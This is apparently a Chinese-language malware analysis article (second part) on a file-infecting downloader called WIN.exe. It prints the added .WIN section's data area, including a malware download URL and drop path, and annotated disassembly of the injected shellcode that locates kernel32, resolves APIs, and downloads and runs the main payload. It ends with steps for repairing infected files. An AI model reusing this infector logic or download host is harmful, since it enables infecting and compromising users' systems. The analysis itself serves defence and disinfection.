感染型下载者WIN.exe部分行为分析(下)
二、被感染文件中加入的内容及其行为分析
程序被感染后,加入一个.WIN节,入口点指向其中
最前面0C5的内容是“数据区”,其中可明显看出有意义的部分,包括以下内容(以下地址为相对.WIN节头的偏移):
***************************************************************************************************
1. 预留空间保存变量(在被感染程序运行时,先运行的代码会向这部分写入数据)
+00H urlmon的基址
+04H GetProcAddress函数地址
+08H LoadLibraryA函数地址
+0CH FreeLibrary函数地址
+10H ExitProcess函数地址
+14H GetModuleHandleA函数地址
+18H URLDownloadToFileA函数地址
+1CH WinExec函数地址
2. 用到的字符串常量:
+20H "LoadLibraryA",0
+2DH "FreeLibrary",0
+39H "ExitProcess",0
+45H "GetModuleHandleA",0
+56H "WinExec",0
+5FH "urlmon",0
+66H "URLDownloadToFileA",0
+79H "http://ttt.wokaon.cn/main.exe",0
+97H "c:\Program Files\Common Files\WIN.exe",0
……………………
3. 保存的程序原基址和入口点,代码执行后读取这里,并跳回原入口点执行。要修复被感染文件,也要知道这两个值:
+BDH 程序原ImageBase
+C1H 程序原AddressOfEntryPoint
***************************************************************************************************
+C5H开始,将是加入的代码(病毒主文件内存中的13152BF8到13152D88的内容)
我直接在病毒主文件里面看了,OD里反汇编分析了下,大致如下:
13152C04是入口。
***************************************************************************************************
13152BFD 58 pop eax ; pop得到EIP,即此句代码位置
13152BFE 83E8 05 sub eax, 5 ; call代码的位置
13152C01 C3 retn
13152C02 8BC0 mov eax, eax
13152C04 55 push ebp ; 入口
13152C05 8BEC mov ebp, esp
13152C07 83C4 EC add esp, -14
13152C0A 53 push ebx
13152C0B 56 push esi
13152C0C 57 push edi
13152C0D 8D75 FC lea esi, dword ptr [ebp-4] ; 程序初始化时,堆栈中的指向kernel32.dll内的一个地址
***************************************************************************************************
接下来一段是花指令:
***************************************************************************************************
13152C10 EB 01 jmp short 13152C13
13152C12 90 nop ; 原是E8,是加花
13152C13 90 nop
13152C14 90 nop
13152C15 90 nop
13152C16 90 nop
13152C17 90 nop
13152C18 90 nop
13152C19 EB 01 jmp short 13152C1C
13152C1B 90 nop ; 原是E8,是加花
13152C1C 90 nop
13152C1D 90 nop
***************************************************************************************************
下面才接着又是有意义的:
***************************************************************************************************
13152C1E /EB 0F jmp short 13152C2F
13152C20 |8138 4D5A9000 cmp dword ptr [eax], 905A4D ; 找kernel32.dll的MZ头,定位其基址
13152C26 |74 12 je short 13152C3A ; 找到后跳出,这时eax为kernel32.dll的基址
13152C28 |2D 00100000 sub eax, 1000
13152C2D ^|EB F1 jmp short 13152C20
13152C2F \8B4424 14 mov eax, dword ptr [esp+14]
13152C33 25 0000FFFF and eax, FFFF0000
13152C38 ^ EB E6 jmp short 13152C20
13152C3A 8945 FC mov dword ptr [ebp-4], eax ; 保存kernel32.dll基址
***************************************************************************************************
通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址,循环后退找kernel32.dll的DOS文件头(MZ)所在位置,从而定位kernel32.dll的基址
***************************************************************************************************
13152C3D E8 B6FFFFFF call 13152BF8 ; 定位代码位置
13152C42 2D C5000000 sub eax, 0C5 ; eax=.WIN节头
13152C47 8945 F4 mov dword ptr [ebp-C], eax ; 保存.WIN节头地址
***************************************************************************************************
call到的子函数看前面,通过一个虚假的call来诱使EIP入栈,再pop出来,从而在内存中定位了自己的代码位置,确定了.WIN节头地址,从而在读写前面C5H大小的数据区时就有目标了。
***************************************************************************************************
13152C4A 8B06 mov eax, dword ptr [esi] ; esi=ebp-4,此时为kernel32.dll基址
13152C4C 8B40 3C mov eax, dword ptr [eax+3C] ; MZ头地址+3C,PE头地址
13152C4F 0306 add eax, dword ptr [esi]
13152C51 8B40 78 mov eax, dword ptr [eax+78] ; PE偏移78H,DataDirectory开头,输出表地址
13152C54 0306 add eax, dword ptr [esi]
13152C56 8BC8 mov ecx, eax ; ecx=输出表VA
13152C58 8B51 20 mov edx, dword ptr [ecx+20] ; AddressOfNames
13152C5B 0316 add edx, dword ptr [esi]
13152C5D 8B59 24 mov ebx, dword ptr [ecx+24] ; AddressOfNameOrdinals
13152C60 031E add ebx, dword ptr [esi]
13152C62 895D F0 mov dword ptr [ebp-10], ebx ; AddressOfNameOrdinals
13152C65 8B59 1C mov ebx, dword ptr [ecx+1C] ; AddressOfFunctions
13152C68 031E add ebx, dword ptr [esi]
13152C6A 895D EC mov dword ptr [ebp-14], ebx ; AddressOfFunctions
13152C6D 8B41 18 mov eax, dword ptr [ecx+18] ; NumberOfNames
13152C70 8BC8 mov ecx, eax
13152C72 49 dec ecx
13152C73 85C9 test ecx, ecx
13152C75 72 5A jb short 13152CD1
13152C77 41 inc ecx
***************************************************************************************************
这里用到PE文件的知识了,通过读取kernel32.dll的PE文件结构,找到并读取其输出表,目的,当然是为了在输出表里检索函数。
***************************************************************************************************
13152C78 33C0 xor eax, eax
13152C7A 8BD8 mov ebx, eax ; eax=第几个函数(0开始)此处为循环,目的是为了找到GetProcAddressA函数的地址
13152C7C C1E3 02 shl ebx, 2 ; ebx*4
13152C7F 03DA add ebx, edx ; edx=AddressOfNames
13152C81 8B3B mov edi, dword ptr [ebx]
13152C83 033E add edi, dword ptr [esi]
13152C85 813F 47657450 cmp dword ptr [edi], 50746547 ; GetP
13152C8B 75 40 jnz short 13152CCD
13152C8D 8BDF mov ebx, edi
13152C8F 83C3 04 add ebx, 4
13152C92 813B 726F6341 cmp dword ptr [ebx], 41636F72 ; rocA
13152C98 75 33 jnz short 13152CCD
13152C9A 8BDF mov ebx, edi
13152C9C 83C3 08 add ebx, 8
13152C9F 813B 64647265 cmp dword ptr [ebx], 65726464 ; ddre
13152CA5 75 26 jnz short 13152CCD
13152CA7 83C7 0C add edi, 0C
13152CAA 66:813F 7373 cmp word ptr [edi], 7373 ; ss
13152CAF 75 1C jnz short 13152CCD
13152CB1 8BD0 mov edx, eax
13152CB3 03D2 add edx, edx
13152CB5 0355 F0 add edx, dword ptr [ebp-10] ; AddressOfNameOrdinals
13152CB8 0FB712 movzx edx, word ptr [edx]
13152CBB C1E2 02 shl edx, 2
13152CBE 0355 EC add edx, dword ptr [ebp-14] ; AddressOfFunctions
13152CC1 8B12 mov edx, dword ptr [edx]
13152CC3 0316 add edx, dword ptr [esi] ; edx=函数地址
13152CC5 8B4D F4 mov ecx, dword ptr [ebp-C] ; ecx=.WIN段首VA
13152CC8 8951 04 mov dword ptr [ecx+4], edx ; 保存GetProcAddress的VA
13152CCB EB 04 jmp short 13152CD1
13152CCD 40 inc eax
13152CCE 49 dec ecx
13152CCF ^ 75 A9 jnz short 13152C7A
***************************************************************************************************
循环查找输出表,找到进程空间中GetProcAddress函数的地址
找到这个,又有kernel32.dll的基址,就可以调用GetProcAddress函数获得kernel32.dll中的其他所需函数的地址了:
***************************************************************************************************
13152CD1 8B5D F4 mov ebx, dword ptr [ebp-C] ; .WIN段首VA
13152CD4 8D43 20 lea eax, dword ptr [ebx+20] ; LoadLibraryA
13152CD7 50 push eax
13152CD8 8B06 mov eax, dword ptr [esi] ;
13152CDA 50 push eax
13152CDB FF53 04 call dword ptr [ebx+4] ; GetProcAddress
13152CDE 8943 08 mov dword ptr [ebx+8], eax ; [.WIN+8]=LoadLibraryA的入口VA
…………………………………………
13152D08 8D43 56 lea eax, dword ptr [ebx+56] ; WinExec
13152D0B 50 push eax
13152D0C 8B06 mov eax, dword ptr [esi]
13152D0E 50 push eax
13152D0F FF53 04 call dword ptr [ebx+4]
13152D12 8943 1C mov dword ptr [ebx+1C], eax ; WinExec
***************************************************************************************************
就这样相继获得了四个由kernel32.dll导出的函数的地址,保存的位置如下(看前面对数据的说明):
***************************************************************************************************
+04H GetProcAddress函数地址
+08H LoadLibraryA函数地址
+0CH FreeLibrary函数地址
+10H ExitProcess函数地址
+14H GetModuleHandleA函数地址
+1CH WinExec函数地址
***************************************************************************************************
LoadLibraryA函数有了,现在就可以获取urlmon的基址,进而获取URLDownloadToFileA的入口点地址了:
***************************************************************************************************
13152D15 8D43 5F lea eax, dword ptr [ebx+5F] ; urlmon
13152D18 50 push eax
13152D19 FF53 08 call dword ptr [ebx+8] ; LoadLibraryA
13152D1C 8BF0 mov esi, eax ; esi=urlmon.dll的基址
13152D1E 8933 mov dword ptr [ebx], esi ; 保存于.WIN段首
13152D20 8D43 66 lea eax, dword ptr [ebx+66] ; URLDownloadToFileA
13152D23 50 push eax
13152D24 56 push esi ; urlmon
13152D25 FF53 04 call dword ptr [ebx+4] ; GetProcAddress
13152D28 8943 18 mov dword ptr [ebx+18], eax ; 保存URLDownloadToFileA地址
***************************************************************************************************
千辛万苦获得这些地址,当然是为了调用它们。
这个病毒与前段时间的logogogo.exe系列(其实也就是以前的Delf系列)不一样。
logogogo.exe系列的作法,是将病毒主程序内容整个保存在新加的节里,然后用CreateFileA和WriteFile(也是经过上面这样的方式获取到它们的地址)来释放,并用WinExec运行病毒主程序。
而这个病毒,不愧是“下载者”,连主程序也是直接从网上下载(所以有那个URL地址)。
***************************************************************************************************
13152D2B 6A 05 push 5
13152D2D 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址(看上面数据区)
13152D33 50 push eax
13152D34 FF53 1C call dword ptr [ebx+1C] ; WinExec
13152D37 83F8 20 cmp eax, 20
13152D3A 73 24 jnb short 13152D60 ; 运行成功,就不用从网上再下载,不成功,才会接下来下载
13152D3C 6A 00 push 0
13152D3E 6A 00 push 0
13152D40 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址
13152D46 50 push eax
13152D47 8D43 79 lea eax, dword ptr [ebx+79] ; 病毒主程序远程URL地址(看上面数据区)
13152D4A 50 push eax
13152D4B 6A 00 push 0
13152D4D FF53 18 call dword ptr [ebx+18] ; URLDownloadToFileA
13152D50 85C0 test eax, eax
13152D52 75 0C jnz short 13152D60 ; 下载不成功,就不WinExec了
13152D54 6A 05 push 5
13152D56 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址
13152D5C 50 push eax
13152D5D FF53 1C call dword ptr [ebx+1C] ; WinExec
***************************************************************************************************
先试着按主程序本地地址,WinExec运行之,成功了,就OK,不成功(病毒主程序不存在),则用URLDownloadToFileA连网下载主程序,下载成功了再WinExec运行之。
至此病毒的功能完成,最后是“擦屁股”(把因需要Load上来的urlmon.dll再free一次)并退出这段代码,跳回被感染程序的原入口点执行:
***************************************************************************************************
13152D60 8B03 mov eax, dword ptr [ebx] ; urlmon基址
13152D62 50 push eax
13152D63 FF53 0C call dword ptr [ebx+C] ; FreeLibrary
13152D66 8B83 BD000000 mov eax, dword ptr [ebx+BD] ; 原文件基址
13152D6C 0383 C1000000 add eax, dword ptr [ebx+C1] ; 原文件入口点
13152D72 8945 F8 mov dword ptr [ebp-8], eax
13152D75 8B45 F8 mov eax, dword ptr [ebp-8]
13152D78 FFE0 jmp eax ; Go!跳回原文件入口点
***************************************************************************************************
代码的最后,并不是代码中直接调用,可能是本身的消息处理函数(由系统调用),收到WM_QUIT消息之后就会ExitProcess
***************************************************************************************************
13152D7A 6A 00 push 0
13152D7C FF53 10 call dword ptr [ebx+10] ; ExitProcess
13152D7F 5F pop edi
13152D80 5E pop esi
13152D81 5B pop ebx
13152D82 8BE5 mov esp, ebp
13152D84 5D pop ebp
13152D85 C3 retn
13152D86 8BC0 mov eax, eax
13152D88 C3 retn
***************************************************************************************************
至此被感染EXE和SCR文件被加入的代码分析完毕。概括起来它要达到的行为:
尝试调用WinExec运行病毒主程序(.WIN+97H处开始,这里为c:\Program Files\Common Files\WIN.exe)
若运行不成功,则调用URLDownloadToFileA从网上下载主程序,再运行(下载地址于.WIN+79H处开始)
最后跳回原程序入口点执行。
三、被感染文件修复方法简要说明
知道了它的行为,特别是原入口点和基址存在哪里,那修复起来就容易了。
先读最后一个IMAGE_SECTION_HEADER结构,看是否是.WIN节,程序EntryPointer是否指向此节内,如果是,则初步可以判断是被感染了。
定位.WIN节开始地址,读取以下量:
+BDH 程序原ImageBase
+C1H 程序原AddressOfEntryPoint
修改PE文件结构
将IMAGE_OPTIONAL_HEADER32中的ImageBase和AddressOfEntryPoint改回
NumberOfSections减1
抹去增加的一个IMAGE_SECTION_HEADER结构
删除最后一个.WIN节的内容等。
*不同的变种,节名和偏移量肯定有所不同,要靠杀软对被添加的代码取特征了。其中,定位到
***************************************************************************************************
13152D66 8B83 BD000000 mov eax, dword ptr [ebx+BD] ; 原文件基址
13152D6C 0383 C1000000 add eax, dword ptr [ebx+C1] ; 原文件入口点
***************************************************************************************************
这两行代码,找到BD000000和C1000000(不同变种可能不同,但是都是类似的两句)这两个偏移量,就可以找到原ImageBase和AddressOfEntryPoint

